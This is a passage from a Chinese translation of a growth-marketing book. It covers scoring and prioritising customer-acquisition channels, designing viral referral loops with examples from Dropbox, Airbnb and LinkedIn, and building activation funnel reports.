用户行为类型表\n一旦你的增长团队根据我们上面介绍的步骤选出了几个可测试的渠道，接下来就应该针对每种渠道提出一系列可用于试验的具体策略，并确定测试的优先顺序。\n通过试验找到渠道—产品匹配\nHubspot前增长团队负责人布莱恩·鲍尔弗设计出了一个基于6个要素的简单渠道排序方法。我们建议使用这个方法来确定优先渠道。\n• 成本——你预计进行此项试验将花费多少钱？\n• 定向——是否容易接触到目标受众？对于试验所触及的人群，你所掌握的信息可以详细到哪一步？\n• 控制——在多大程度上可以控制试验？试验一旦开始，还能否进行修改？如果试验不顺利，是否容易终止或者调整试验？\n• 时间投入——团队启动试验需要多长时间？比如，拍电视广告的时间投入就比发布脸谱网广告的时间投入长许多。\n• 产出时间——试验开始后需要多久才能拿到试验结果？例如，搜索引擎优化试验或者社交媒体广告的产出时间就比电台广告的产出时间要长。\n• 规模——试验覆盖的人群规模有多大？例如，电视广告的覆盖范围比话题博客广告就大得多。\n鲍尔弗建议从这6个方面给每种渠道按高、中、低三档打分，如表5–4所示。他指出，对于不同的产品或业务，不同渠道在这6个方面的得分可高可低。例如，如果你的搜索引擎营销使用的关键词是热门词，那么你所支付的费用就会更高。这意味着，相比那些还没有形成竞争的新产品，你的产品使用搜索引擎营销渠道的成本得分会更低。如果你的产品面向的是高度网络化的特定人群，比如大学生年龄段的男性，那么对你而言进行病毒传播在定向方面的得分就会很高，相反，如果你的产品针对的是普通大众，那么定向就会比较困难，在这一项上的得分自然就低。\n表5–4 营销渠道优先化过程\n在布莱恩提出的方法的基础上我们为渠道试验建立了一个排序过程。我们按照1到10分给增长团队建议测试的渠道打分，10分为最好，1分为最差（注意：成本越低、投入和产出时间越短得分越高，因为显然低成本和更短的投入和产出时间更理想）。然后我们只需要算出每种渠道的平均分，从高到低进行排序，就可以找出优先渠道。表5–5是我们用来排序的网格。\n表5–5 试验评分排序表\n为了说明如何使用这个方法，让我们回到在前面提到过的食品商店App增长团队的案例，看看他们怎么用这种方法进行排序并确定第一轮试验的渠道。\n这家财力雄厚的食品连锁店为了扩大初始用户群开展了猛烈的电台和印刷品广告攻势，结果初始App下载量一举突破10万次。但是，由于初期用户中许多人并不怎么使用App进行购物，所以增长团队将重心从吸引更多潜在消费者转向提高每位用户的消费额。我们假设现在他们已经成功提高了App活跃用户的平均消费额，所以现在他们又把注意力转回到吸引更多的用户上，而这次的目标（也应该一直如此）则是寻找收益更高的渠道。\n首先，他们对用户数据进行了另一项分析。当然，他们一直都在监测用户数据，尤其是那些最重要的指标。但一旦团队将重心转移至新的增长杠杆，他们就需要用全新的眼光去分析数据，寻找与新任务相关的新洞察。你可能还记得，此前他们已经发现，公司最忠诚的用户中有很大一部分来源于该连锁店的主网站，现在情况依然如此。所以他们决定集中精力大力挖掘网站潜力，将其作为一个关键渠道。同时，他们还测试新渠道，把网撒得更广，以吸引那些不经常登录网站的人群，就像他们一开始所做的那样。脸谱网和谷歌广告明显值得一试，于是他们开展调研，了解既有用户群中有多少人使用这些平台以及通过广告可以接触到多少相同类型的用户。他们发现，大多数用户在这两个平台上都相当活跃。于是他们继续深挖数据，通过浏览行业报告寻找基准数据，比如潜在消费者具体在哪些网站上逗留，其他竞争者在谷歌和脸谱网上的广告花费和广告类型，以及它们获得了哪些成功等等。\n了解了用户的上网习惯之后，他们提出了一个假设：谷歌关键字可能并不是最佳选择，因为人们并不会在整个网络范围内搜索食品杂货，而是在零售商的网站上搜索。另一方面，脸谱网则可以让他们根据用户的人口学特征和兴趣进行准确定向，而且他们也获得了大量消费者人口学数据。于是他们决定将脸谱网广告纳入优先化网格。\n团队决定再进行一些额外的市场调研，一方面在公司网站主页和App上进行问卷调查，收集用户反馈，另一方面采访一些现有顾客。对于访问过网站的顾客，团队想知道他们是否下载了App，如果没有下载是出于什么原因；对于已经开始使用App的顾客，团队想知道怎样可以让他们更愿意向朋友推荐App。通过调研团队了解到，相当数量的网站访问者并不知道App的存在，而那些知道的人更喜欢直接用电脑下单，因此他们认为没有必要使用App。此外，他们还了解到，App用户中有相当一部分人会向朋友推荐这个App，而且如果这可以让他们在下一笔订单享受折扣或者领到购物券的话，他们会更加乐意向朋友推荐。\n基于这些调查结果，团队提出了以下增长手段。\n有机渠道\n• 改善主网站上的App营销。\n• 给有会员卡但没有下载App的常客发送邮件，介绍使用App购物的好处。\n• 在网站上专门增加一个全幅页面来推广App，只要用户在手机上访问网站该页面就会自动弹出。\n付费渠道\n• 在脸谱网上投放应用安装广告。\n• 在前期成功的电台广告的基础上，再次投放电台广告。\n• 通过广告将网站访客重新定向至App下载页，也就是说，只向已经访问过网站的用户投放网络广告。\n病毒/口碑渠道\n• 利用顾客希望获得额外折扣的心理为现有的App消费者创建一个朋友推荐计划。\n那么，先试哪个呢？团队的用户调查表明，所有这些渠道都非常值得一试，而且其中的每种渠道都为许多公司带来过巨大的成功。除此之外，团队成员会特别偏爱自己的想法，这使得客观的排序变得格外困难。不过，这也正好体现出打分体系的可贵。每位提出建议的团队成员都要对自己的方案打分，然后在增长会议上整个团队再参考各个方案的得分来决定先试哪种渠道。分数上的分歧应该由增长负责人来协调。需要重申的是，团队不应该把分数看得太重，它只是一个参考，一个帮助团队进行决策的数据点。\n我们假设最后的得分如表5–6所示。\n表5–6 优先渠道得分表\n显而易见，有几个选项的分数遥遥领先。要立即实现获客增长，最佳选择是两种有机渠道：更好地在网站上进行App营销以及向会员卡用户发送邮件告知他们可以下载App；还有两种付费渠道：脸谱网广告和再次提示网站访客下载App的重定向广告。\n其他选项呢？团队在增长周例会上讨论分数的时候就推荐计划是否值得测试展开了讨论。用户调查显示，推荐计划可能会相当成功，但它的总分却很低，部分原因是推荐计划要真正实施起来并取得结果需要相对较长的时间。所以团队决定把它放进路线图，8周之后再启动。\n电台广告也被放入想法储备库中。它的得分很低，这是因为尽管电台广告在针对特定人群方面具备优势，而且初期的电台广告推广效果显著，但是它无法像脸谱网广告和重定向广告那样对结果进行细致的分析。电台广告成本也相对更高，需要大量的时间投入和前期准备工作。另外，对于全页面App下载广告，团队担心这可能会引起人们的反感，也可能影响他们的搜索引擎排名。但是这个想法的得分又相对较高，所以它在储备库中排在相对靠前的位置。\n优化试验\n团队在迅速完成第一轮试验后发现，脸谱网广告针对6类受众中的两类特别有效：刚刚成为母亲的女性和两个特定城市中20多岁的年轻人。对于后者，数据显示，年薪75 000美元以上的20多岁年轻人通过广告知道这个App后下载安装的比例特别高，而重定向广告的结果却令人失望。于是增长团队得出了一个结论：他们需要重新考虑重定向策略，同时继续优化脸谱网上的广告营销。他们决定尝试更多的广告，其中一类只针对全美范围内初为人母的女性，另一类则面向全美人口最多的20个城市中年薪在75 000美元以上的20多岁的年轻人。\n在有机渠道方面，针对会员卡用户的营销大获成功，收到邮件的用户中有将近4%的人安装了App，而网站上App宣传所产生的结果却耐人寻味：点击量很高，但之后的App下载量却令人失望。于是他们决定优先优化和扩大针对会员卡用户的营销活动，同时测试新的优化策略以更好地激励人们点开广告后下载App。\n这个过程帮助他们迅速找到两个极具前景的营销手段，同时为接下来的试验指明了方向，他们离找到最佳获客渠道又近了一步。\n不断进行新的尝试\n随着能够接触到用户的渠道越来越多，利用这些渠道来吸引人们购买你的产品的潜在策略也越来越多。增长黑客过程中的想法提出阶段应该源源不断地为你提供新想法，从而最大限度地利用最具潜力的渠道。现有渠道的优化策略总是在不断变化，提供免费在线工具这个新趋势就充分说明了这一点。比如，用户通过Hubspot提供的免费在线工具Website Grader就可以进入一个网址，网页上就会自动显示某个网站的优缺点。诸如此类的新工具（还有无数其他例子）使得企业即便是在博客、白皮书、信息图表和视频教程等这些免费内容充斥网络的今天也能够在众声喧哗中抓住用户的注意力。除了能够帮助企业脱颖而出以外，这些工具还有另一个优点——它们可以保持“常青”，也就是说几乎不需要持久维护就能一直有效地吸引新客户，甚至可以持续很多年。除此之外，还可以尝试一些其他的新策略，比如建立社区，就像我们在GrowthHackers所做的那样。或者在不断出现的新兴热门平台（比如下一个Snapchat）上获得先发优势。\n重点是，即使你已经找到了一个可靠的渠道或者一系列奏效的策略，新的选择还在不断涌现，你要做的是不断寻求可用于试验的创新策略。事实上，正是因为有如此多新渠道和新获客策略供你选择，增长黑客方法才显得如此有效甚至高效。这种由数据驱动、经过优先排序、专注于试验的做法可以帮助你在多如牛毛的选项中做出明智的判断，将你宝贵的精力和营销资金真正用在刀刃上。\n随着增长的加速，采用新渠道将会变得更加重要。其中一个原因是，任何一种渠道都有自身的局限，达到渠道上限之后就无法再带来足够多的新用户，其价值也会随之降低。你在脸谱网上向同一群受众投放广告达到一定数量后，他们就会将广告屏蔽，让你的点击率一落千丈，成本飙升；你向会员卡用户发送的广告邮件到达一定数量后，他们就会把你的邮件扔进垃圾邮箱中。一旦达到渠道能力的上限，你就需要通过新渠道来实现新的增长。\n我们在前面提到过，增长团队应该定期将重心转移到客户漏斗的下一阶段，也就是从获取转移到激活再转移到留存，我们将很快在下一章讨论激活问题。但在此之前，我们首先要探讨与增长黑客过程密切相关的病毒式获客手段。有时人们甚至错误地认为，增长黑客方法不外乎就是创造可以带来用户的“病毒循环”，比如像推荐计划这样的病毒机制。正如我们在Dropbox的案例中所见，这样的病毒机制可能很强大，但是对于如何创造病毒循环以及它能带来何种增长，还存在许多误解。\n所以，在进入下一章讨论如何激活你所建立的用户群之前，我们想先和大家分享有关病毒循环的真相和炒作，介绍不同种类的病毒循环以及如何测试这些循环，以使它们对你而言更加有效。\n设计病毒循环\n使用病毒循环的增长黑客手段往往能迅速收获成功，比如，Hotmail利用邮件签名栏鼓励收件人进行注册，Dropbox为推荐者提供免费的存储空间，等等。这也许会让人觉得，相比通常的做法，设计出强大的激励措施来鼓励用户在自己的社交网络中分享产品要容易很多。关于病毒循环的一个错误认识是：设计出病毒循环之后就万事大吉了，剩下的交给用户，让他们一传十，十传百，口口相传。但事实并非这般美好。并不是所有的病毒循环都“生而平等”，认识到这一点很重要。对于一些产品而言，创建有效的循环十分容易，贝宝的移动支付App Venmo就是一个例子。一个能够帮助用户转账汇款的产品显然具有先天优势——有谁不愿意马上注册然后收钱呢？但是对于许多其他产品而言，利用奖励措施来鼓励用户发送和接受邀请则困难得多，而且往往只是接近（还不是真正实现）病毒式增长就需要大量的前期试验和后续优化工作。很遗憾，我们没有一个魔法公式可以套用，但我们可以通过一些方法来找到对我们有用的战略。\n我们在第二章中讨论如何打造不可或缺的产品时提到过，如果你的产品没有价值，不能带来“啊哈时刻”，那么任何病毒循环策略都帮不了你。还记得前面我们介绍过的新闻网站Upworthy的例子吗？它非常擅长利用吸引眼球的标题来创造病毒传播，它的成功在很大程度上归功于其团队认识到文章内容与创造病毒性关注同等重要。“我们不介意把人们骗去看他们喜欢的内容，”Upworthy的创始人伊莱·帕里泽说，“如果他们不喜欢，他们就不会分享。病毒传播是在好的包装和好的内容之间取得平衡。”我们可以学到的经验是，尽管找到能打动人心的语言非常重要，但是要实现病毒式增长必须提供真正的价值。\n关于病毒式增长还存在另一个误解，那就是这个词本身的含义。首先，应区分不同类型的病毒式增长。一种是传统的口碑式病毒（word of mouth），另一种是内置于产品当中用来“捕获”更多用户的病毒机制，这称为原生病毒（instrumented virality）。一个产品可以通过任意一种类型的病毒来实现增长，而且如前面所讲，一些产品看似主要通过原生病毒来增长，但实际上主要是靠口碑病毒，脸谱网就是一个典型的例子。脸谱网的沙马斯·帕利哈普提雅告诉增长团队，不要一上来就思考如何创造原生病毒，首先要做的是开发出卓越的产品。他说到了一个关键点：当你专注于创造原生病毒时必须遵循产品开发的基本原则——要让分享产品这种体验变得不可或缺，或者至少让这种体验尽可能便捷、舒心。Hotmail的邮件签名就是用户体验的典范：只需要单击鼠标，完成一个非常简单的注册过程就能获得免费邮箱。同样，肖恩与Dropbox的团队下了很大的功夫去完善他们的推荐计划，从欢迎页面的设计到发送和接受邀请，他们让每一个环节都简单而且有趣。他们最终设计出的推荐计划让邀请朋友的过程变得既轻松又愉快。这两个例子中的病毒循环都十分有效，用户不仅参与其中，而且乐在其中，让他们迫不及待地向任何愿意倾听的人推荐这个产品。\n另一个有关病毒性增长的常见误解源于增长黑客圈对病毒性产品的定义，即一个产品要真正具备病毒性，那么它的病毒系数（又称K因子）必须超过1。这就意味着，每位注册的新用户要成功将产品介绍给一位或者更多的人。但是，如此高的病毒性几乎不可能实现，而且即使实现了通常也只能维持很短的时间。为了让大家更好地明白这个目标有多么不切实际，我们来简单看看病毒系数是如何计算的。不用紧张，这个公式很简单。\n病毒系数（K）=客户发出的邀请数×受邀者中接受邀请的人数比例\n假设你有25 000名用户，并且实施了一个推荐计划，25%的用户向别人发出了邀请。平均每人发出5份邀请，平均10%的受邀者接受邀请。这就意味着你获得了3 125位新用户，也就是说病毒循环的第一圈用户数量就增长了12.5%。这种结果对于任何一种营销而言都是巨大的成功。但这个推荐计划的病毒系数是：5×10%=0.5，远远低于病毒性定义中的1.0。\n病毒性增长的定义我们就说到这里。我们想要说明的是，增长团队不是不应该尝试病毒性增长，而是需要更切合实际地评估病毒性潜力。我们鼓励团队尝试创造病毒循环，而且我们还鼓励它们针对每个产品创造若干个病毒循环。但与此同时，团队在内部成员之间以及与管理层进行交流时应该设定并且传达切合实际的期望。\n与其担心你的病毒系数（我们已经说过，它并不可靠，而且也不能反映决定病毒式增长的关键因素），不如使用脸谱网前总裁肖恩·帕克设计的简单公式来评估你更可能实现哪种程度的病毒性。肖恩告诉脸谱网的早期员工，任何产品的病毒性都是由三个因素决定的：有效载荷（payload）、转化率（conversionrate）和频率（frequency）。它们之间的关系可以通过下面这个简单公式来表示：\n病毒性=有效载荷×转化率×频率\n有效载荷是指每位用户每次向多少人发送广告（或者链接、微件等）。拿Hotmail来说，大部分用户每次只向一位联系人发送邮件，有少数用户发送小规模的群邮件，只有极少数的人一次性向许多人发送个人邮件。所以Hotmail的邮箱签名注册链接的有效载荷很低。第二个因素是邀请转化率。Hotmail的转化率很高，这是因为当时人们从未听说过免费邮箱，所以对它很感兴趣。最后一个因素是人们收到邀请的频率。对Hotmail来说，它指的是人们发送邮件的频率，这一频率很高，因为大多数邮箱用户非常频繁地给朋友、家人和同事发邮件。所以，即使Hotmail的有效载荷低，但是高转化率和高频率使Hotmail的链接极具病毒性。在创建病毒循环时你的目标就是要优化这三个变量，以创造增长。\n当你开始考虑测试哪种病毒循环时，你需要做出几个关键决定。首先，你需要选择发送邀请的方式。对于最好的病毒循环而言，邀请应当是用户使用产品的自然结果。Hotmail便是如此，用户只管发送自己的邮件，无须多做什么，而邀请内置于邮件当中，所以这样的推荐是完全被动的。然而，不给用户添任何麻烦并不总是行得通，通常你需要给用户提供奖励。最佳做法是提供双向奖励，也就是同时给发件人和收件人提供奖励。如果你的有效载荷本来就高，可能就无须使用非常有吸引力的激励措施来达到目的，因为即使发出邀请的比例很小，叠加效果也会非常显著。但是，如果你的有效载荷低，可能你就需要一个更具吸引力的双向奖励来提高你的转化率和频率。\n公司在试图优化病毒循环时往往会掉入一个陷阱：想方设法增加收到推荐的人数，以致用户和收件人对此产生强烈的反感。那些无意间给自己所有的邮箱联系人发送下载App邀请的人就能体会到这会让人多么恼怒。用户体验专家将那些用来骗用户做他们通常不会做的行为的伎俩称作黑暗模式。虽然一些黑暗模式在短期可能奏效，但是从长远来看，用户之后产生的抵制情绪将会最终拖垮增长。这些伎俩带来的负面评价和负面情绪足以摧毁最好的产品——这样的事情并非没有发生过。\n挖掘产品的网络效应\n最好的循环能够激励用户主动帮助公司吸引更多新用户，因为这样做可以改善他们自己的产品体验，脸谱网或者领英就是这样。因此，具有网络效应的产品在获得病毒式增长方面具有得天独厚的优势：使用产品的人数越多产品体验就越好，所以人们是愿意鼓励其他人加入的。社交网络和即时通信App是最明显的例子，像易贝和Etsy这样将卖家和买家直接联系起来的平台型企业也属于这类，因为使用这些平台的人越多就意味着卖家能够获得更多的潜在顾客，而买家则可以有更大的选择空间。\n一些产品本身不具备这样的特质，就比如食品连锁店App。如果你向邻居推荐这个App，这对你自己的用户体验不会产生任何影响。但是，很多公司都拥有一定程度的网络效应潜力，即使这一潜力并不是显而易见，公司也能够并且应该去发掘这方面的潜力。比如Dropbox，用户存储的文件越多就越有可能邀请别人加入Dropbox，以实现合作办公。而用户身边使用Dropbox的人越多，分享文件也会变得更加容易。\n这就是为什么下功夫去了解用户如何使用产品、了解如何创造并优化潜在循环对于挖掘由网络效应驱动的病毒式增长至关重要。\nEventbrite正是通过发掘它的网络效应潜力创造了强大的病毒循环。这家公司是一个活动推广平台，它通过对网站售出的活动门票收取提成来盈利，同时它还非常聪明地通过鼓励购票者和朋友分享他们将要参加的活动来创建一个内置的由社交网络驱动的循环。显然，这样做既可以吸引更多用户又可以增加门票销量，同时购票者也能从中获益，因为更多朋友去参加活动通常会让他们自己的体验更棒（当然这取决于是什么样的朋友）。这个循环也帮助Eventbrite吸引更多的活动主办方，因为这些分享循环可以帮助主办方售出更多门票。实际上，Eventbrite发现，每发送一个分享链接就会为活动主办方带来3.23美元的额外收入。\n创造与产品核心价值契合的激励机制\n如果用户体验本身并不对用户分享产生激励，那么你可能就需要创造这样的激励措施，通常的做法是提供某种奖励。但关键是，用户完成推荐后得到的奖励不管是什么都必须与产品的核心价值相关。比如，客户向至少三个人推荐食品商店App就会获得商店赠送的花瓶。一些顾客可能会觉得这个奖励很诱人，但也有很多人觉得送花瓶很奇怪，因为这并不符合人们对食品商店的预期。但是，如果这家连锁店当时正在推出鲜花服务，那么显然送花瓶就与它的产品推广是一致的。前面我们讨论过语言—市场匹配和产品—渠道匹配，我们可以把这个称为产品—奖励匹配。\n这正是Dropbox推荐计划的天才之处。Dropbox产品的核心是存储并轻松分享文件，所以，更多人使用Dropbox的服务完全符合用户自身的利益，而且获得更多的免费存储空间这种奖励也完全契合产品的核心价值。在这里可以学到的一个经验是：无论你出售的是服务、实物商品或是某种类型的信息或内容，你的激励措施应该尽可能与之紧密契合。\n现金奖励也可能有效，但是如果想要获得最佳效果，现金奖励同样应该符合产品的核心价值。Airbnb向邀请者和受邀者各提供25美元的现金奖励，供他们下次在Airbnb上预订房间时使用。这种情况下，使用与产品或者品牌有关的信息传达十分重要。就拿Airbnb来说，它建议用户将Airbnb带给他们的当地生活的独特体验分享给朋友，而不仅仅是直白地提供现金奖励。\n同样，食品商店App团队设计的推荐计划为每位使用App的顾客提供10美元的优惠券，供他们下次购物时使用。这似乎是个不错的做法，因为它其实就是一次性的购物折扣。但是，提供现金奖励甚至包括折扣奖励的缺点是，人们很容易比较奖励的价值和获取奖励需要付出的努力。所以，如果现金奖励力度不够大就很难激励人们采取行动。比较一下给用户10美元的现金奖励与给他们16G的Dropbox免费空间这两种做法。16G的存储空间值多少钱呢？用户很难弄清它的价值，但是感觉上它很值钱。但实际上对于Dropbox来说，提供16G免费空间的额外成本非常低。\n让分享邀请成为用户体验的有机组成部分\n向用户发出分享邀请必须拿捏好分寸：提示语不能太强势，否则会被看成是过度营销而惹怒顾客，但同时又要确保用户能够看见提示语。把握这个分寸，最好的办法是尽可能地将提示无缝嵌入用户体验中。太多的公司事后才考虑将推荐计划融入产品（这也是为什么产品经理、设计师和工程师都应该加入增长团队，因为这样他们就可以在产品开发初期将这些因素考虑进来），而且将其放到几乎无人问津的网页或视屏上。遗憾的是，能见度低注定了产品永远不会获得足够多的关注以启动病毒循环。更好的做法是将提示嵌入访问频率更高的地方，例如新用户体验或者主屏上。在摩根曾就职的现场演出票务平台ScoreBig，增长团队把推荐计划融入新用户体验之后，用户向朋友发出的邀请数量激增。相比之下，以前用户要在网站主页顶部的一个角落里才能找到一个小小的推荐链接。\n你在浏览网站和App时如果稍加留意就能很快发现哪些做法有效而哪些无效。领英用户一加入就能看到自己与哪些人可以建立联系，用户的邮箱联系人也会自动导入，以帮助用户建立关系网。优步在显示你当前乘车信息的屏幕上醒目地宣传鼓励用户邀请朋友加入的奖励措施。仔细观察你会发现，大多数获得口碑式病毒增长的公司都曾费尽周折努力使它们的原生病毒循环既显而易见又充满吸引力，使用户愿意自发地发出邀请。\n确保受邀者获得满意的体验\n另一个常见的错误是，受邀者回应了邀请而你却没有优化他们获得的体验。例如，还没有告诉受邀者这个网站是做什么的或者他们为什么应该加入就冒失地要求他们创建账户。\n对比Airbnb为受邀者打造的绝佳体验就能明白。首先，邀请的内容包含了邀请者的姓名和照片，还有专门写给受邀者说明奖励措施的一段话（根据本书写就时的情况）：“你的朋友摩根为你在Airbnb上的第一次旅行省去了25美元，Airbnb是最好的旅行方式，一定要感谢你的朋友！”它的行为召唤也很简洁醒目：一个写着“领取奖励”的大按钮。这样做的好处是双重的：受邀者将不仅更乐意回应邀请，他们自己也更愿意发送这样的推荐邀请，因为现在他们知道他们向朋友发送的不是垃圾信息，也不是过于强势的邀请。\n试验，试验，试验\n记住，大多数“一举成功”的案例都需要大量试验做铺垫，成功的病毒循环也不例外。你在本章读到的那些绝佳策略并非凭空产生，而是大量测试和优化的结果，而且在这个过程中增长团队也会有许多意外发现。在Dropbox，肖恩和他的团队惊讶地发现，如果在分享文件的邀请中突出在线存储空间这项奖励，转化率反而会受到影响！但是如果欢迎页面强调的是这项服务如何促进协作和文件共享，转化率就会飙升。为什么呢？这是因为那些受邀者还没有产生想要获得在线存储空间的欲望，但是能够与邀请者或者任何其他人轻松分享文件这一点却能立刻使他们动心。事后看来这是有道理的，但是，如果Dropbox的增长团队没有进行试验，他们很有可能永远也意识不到这一点。\n领英也同样惊讶地发现，相比原来的用户提示语，如果建议用户发送更多邀请——但也不能太多——那么邀请计划的效果会更好。一开始提示语建议用户邀请两个人。但增长团队并没有就此罢休，他们增加了邀请数量并进行测试，结果用户照做了。但当团队将邀请数量增加到6份的时候，用户反应开始变得冷淡。增长团队最终发现，建议用户发出的最优邀请数量是4份。\n重点是，很多最出色的增长手段都是无意间发现的。你在本章读到的方法可以帮助你找到这些手段，并且是通过有策略、高效且低成本的方式找到它们。\n好了，我们已经探索了如何获取大量新用户，现在让我们详细谈一谈如何确保他们成为活跃用户。\nGinny Marvin, “US digital ad revenues top $59.6 billion in 2015, up 20 percent to hit another high,” MarketingLand blog, April 21, 2016, http://marketingland.com/us-digital-adrevenues-60-billion-2015-iab-174043.\n“Slowing Growth Ahead for Worldwide Internet Audience,” eMarketer blog, June 7, 2016, http://www.emarketer.com/Article/Slowing-Growth-Ahead-Worldwide-Internet-Audience/1014045.\nSarah Frier, “Fab.com’s Ascent to $1 Billion Valuation Brings Missteps” Bloomberg Technology blog, June 24, 2013, http://www.bloomberg.com/news/articles/2013-06-24/fab-com-srace-to-1-billion-valuation-brings-missteps.\nJames Currier, (August 12, 2014) “[500DISTRO] Do You Speak Growth? Examining the Language Behind What Users Want,” retrieved from https://www.youtube.com/watch?v=FI52ZfDM5c.\nConsumer Insights group, Microsoft Canada, “Attention spans,” Spring 2015, page 6,https://advertising.microsoft.com/en/WWDocs/User/display/cl/researchreport/31966/en/microsoftattention-spans-research-report.pdf.\nAlyson Shontell, “How To Create The Fastest Growing Media Company In The World,”Business Insider, November 5, 2012; Upworthy, “The Sweet Science Of Virality,” March 18, 2013[slideshare], retrieved from: http://www.slideshare.net/Upworthy/the-sweet-science-of-virality.\nCurrier, “[500DISTRO] Do You Speak Growth?”\nVideo of Febreeze advertisement from 1998, viewed at: https://www.youtube.com/watch?v=4-kAIHN6qYY.\nCharles Duhigg,《公司如何获知你的秘密》，《纽约时报杂志》，2012年2月16日。\nVideo of Febreeze advertisement from 1999, viewed at: http:/www.youtube.com/watch?v=ZTPNtruSIU0.\nMolly Young, “Be Bossy: Sophia Amoruso Has Advice for Millennials and a Bone to Pick With Sheryl Sandberg,” New YorkMagazine,The Cutblog, May 26, 2014, http://nymag.com/thecut/2014/05/sophia-amoruso-nasty-gal-millennial-advice.html.\nBlake Masters, “Peter Thiel’s CS183: Startup - Class 9 Notes Essay,” Blake Masters blog,May4, 2012, http://blakemasters.com/post/22405055017/peter-thiels-cs183-startup-class-9-notesessay.\nAatif Awan, “Lessons Learned from Growing LinkedIn to 400m Members,” February 18, 2016, retrieved from: http://growthhackers.com/videos/gh-conference-16-aatif-awan-head-ofgrowth-linkedin-lessons-learned-from-growing-linkedin-to-400m-members.\nBrian Balfour, “5 Steps To Choose Your Customer Acquisition Channel,” Coelevateblog,May 21, 2013, http://www.coelevate.com/essays/5-steps-to-choose-your-customer-acquisitionchannel.\nIvan Kirigin, (August 13, 2014) “[500DISTRO] Sharing Lab Notes: 27 Referral Program Hack-tics in 20 Minutes,” retrieved from: http://www.youtube.com/watch?v=KMGnOU3lwQg.\nShontell,《如何创造增长最快的媒体公司》。\nDavid Skok, “Lessons Learned -Viral Marketing,” For Entrepreneurs from David Skokblog, [no date of post], http://www.forentrepreneurs.com/lessons-learnt-viral-marketing/.\nAlex Schultz, “Lecture 6: Growth,” How to Start a Startup blog, http://startupclass.samaltman.com/courses/lec06/.\nEventbrite, “Social Commerce: A Global Look at the Numbers,” Eventbrite blog, October 23, 2012，https://www.eventbrite.com/blog/ds00-social-commerce-a-global-look-at-the-numbers/.\nJosh Elman，“3 Growth Hacks”.\n第六章\n 激活：让潜在用户真正使用你的产品\n好不容易吸引来潜在用户之后，接下来又该如何让他们真正使用你的产品，或者，拿增长黑客法中的行话来说，如何激活他们呢？遗憾的是，很多企业在这点上的做法都不对。实际上，98%的网站访问量都未能引发激活，而大部分移动App都在三天之内损失近八成的用户。\n提高激活率的核心在于让新用户更快地体验到“啊哈时刻”。感受到产品不可或缺的人越多，忠于产品的用户就越多。增长黑客过程提供了一系列严格的步骤来帮助你寻找阻碍人们获得“啊哈体验”的因素，然后通过测试增长手段来提高激活率。要提高激活率并没有一个现成的公式可以套用，产品不同具体的做法也不同，而且试验想法应该来源于对具体数据的分析。幸运的是，增长黑客过程提供了一套实战指南来帮助你做到这一点。\n本章我们将首先介绍每个增长团队在寻找具有最大影响力的激活试验时必须采取的三个关键步骤，然后介绍实现快速增长的公司提高激活的最佳做法。本章最后一节将专门讨论效果最好但又常常被误用的策略：使用触发物，也就是能促使用户重新接触产品的刺激物。我们将详细介绍怎样正确使用触发物这把双刃剑。\n绘制通往“啊哈时刻”的路线图\n破解激活的第一步是找出通往“啊哈时刻”的所有节点。假设在打造产品不可或缺性的过程中你已经知道是什么让产品获得这个魔力瞬间，下面我们就用食品商店App的例子来为大家演示如何绘制全程节点图。可能你还记得，第三章中团队已经发现App的“啊哈时刻”是当顾客意识到他们可以随时随地轻松快捷地购买食物的那一刻：只要有一点闲暇时间，或者当他们在外奔波、忙于生活时突然想起需要买什么，就可以见缝插针地使用App来进行购买。\n下一步，团队需要列出新用户在体验到“啊哈时刻”之前必须完成的所有步骤：他们需要下载App，找到所需商品，将其放入购物车，创建账户并输入自己的姓名、信用卡和配送信息，然后点击购买。要使这种体验真正变得不可或缺，还需要确保他们在家里准时收到购买的所有商品。\n读到这里你可能会想，可能导致用户最终放弃购买的因素太多了，比如，他们对App失去了兴趣、因为购买不顺利而退出App、App速度太慢让人失去耐性、用户可能觉得搜索商品太麻烦以及账户创建过程太复杂等等。但是，有一点要记住，在增长黑客法中永远不要想当然地揣测用户行为背后的原因。你应该仔细研究用户行为数据，基于你的观察对用户展开调查，这样才能把精力最高效地集中在测试那些可能具有最大潜在影响力的改变上。即使你觉得自己知道激活的障碍在哪里，真实的情况也有可能令你大吃一惊。\n一旦确定了通往“啊哈时刻”的所有步骤，接下来寻找障碍，找到用户逃离原因的第二步就是计算每个步骤的转化率，换言之，要计算整个用户旅程中完成每个步骤的用户比例。\n创建转化和流失漏斗报告\n测量转化率的最佳途径之一是创建漏斗报告（funnel report），也就是显示抵达用户旅程中每个关键步骤的用户比例（同理，它也显示每个环节的流失率）。下图是Kissmetrics假想的一个最基本的漏斗报告，从中我们可以看出初次访问和注册这两步之间存在着非常普遍的流失现象。\n当然，选择哪些步骤来计算用户比例要视具体产品而定。对于这个假想的产品而言，这些步骤包括：初访、注册、激活和付费。如果是其他公司，比如优步，漏斗报告可能会显示下载App、打开App的用户比例，创建新账户的人数，预约车辆以及给司机评分的用户比例等。对于其他公司，这些步骤可能包括邀请朋友、下载白皮书、观看视频或者参观实体店等不同的内容。无论针对什么样的产品，最关键的一点是你应该全程跟踪抵达激活时刻之前用户旅程中的所有关键步骤。\n图6–1 一个简单的漏斗报告\n资料来源：Kissmetrics\n除了跟踪关键行为的转化率以外，报告还应该跟踪访客接触产品的途径或渠道，不论这一渠道是谷歌搜索还是关键字，是脸谱网还是推特，是在线横幅广告还是用户推荐等。不同渠道在激活率上的惊人差异能够给你带来重大发现，让你回过头去对按上一章介绍的步骤选出的获客渠道重新进行测试。一旦获得了数据，你就可以找到活跃用户、一开始活跃但逐渐失去兴趣的用户以及从来就没有被激活过的或者“跳出”的用户之间存在的差异。从根本上讲，这份报告详细总结了每种渠道中阻碍用户迈向下一步的因素，因此它可以帮助你提升新用户转化为活跃用户的比例。\n我们来看一看食品商店App团队在这个阶段是怎么做的。增长团队中的数据分析师将创建一个漏斗报告，并且分别计算下载和打开App、搜索欲购商品、将商品放入购物车以及创建账户完成购买这几步的用户比例。除此以外，他们还要跟踪另外一些关键步骤，例如商品特价或促销所激活的用户比例，比如之前我们介绍过团队曾试验用户初次下单即可享受10美元优惠这一增长手段。我们假设团队推出了之前被放入开发计划的购物清单功能，而且这个功能已经投入使用两个月。他们还将计算将商品加入购物清单的用户比例以及之后购买清单中商品的用户比例。\n通常，只要团队按照第三章列出的步骤确定了指标并且建立了跟踪路径，那么激活漏斗报告就会一目了然。诸如Kissmetrics、MixPanel、谷歌分析和Adobe Omniture 